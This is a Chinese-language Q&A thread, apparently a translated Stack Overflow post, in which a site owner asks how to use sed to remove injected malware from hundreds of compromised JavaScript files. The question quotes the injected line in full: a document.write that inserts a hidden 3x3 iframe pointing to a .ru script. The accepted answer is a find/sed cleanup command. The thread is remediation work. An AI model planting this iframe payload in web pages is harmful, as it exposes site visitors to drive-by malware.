2012-11-11 124 views
1

我被黑客攻擊,並有數以百計的.js文件與這行代碼,我試圖擺脫:使用SED刪除字符串

;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); 

這是文件的最後一行,但我認爲,該文件包含Windows行的結局,因爲當過我這樣做:

sed -i '/sitecorporatemanagement.ru/d' * 

它刪除文件的全部內容。你能幫我解決這個問題嗎?我只需要將完整的字符串刪除。

謝謝你給予的所有幫助。

+0

你可以經常用'dos2unix'命令切換換行符。 – jahroy

+0

難道你不能從源代碼控制回到你的網站,並從原始代碼重建它? –

+3

您可以用'sed -i'$ d'$ file'刪除文件的最後一行。 Windows風格的換行符不應該導致問題;線路末端有一個LF。 –

回答

1

我最終刪除了以下的有問題的代碼,它工作。

find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \; 
+0

務必在x後接受你自己的答案?小時。祝你好運。 – shellter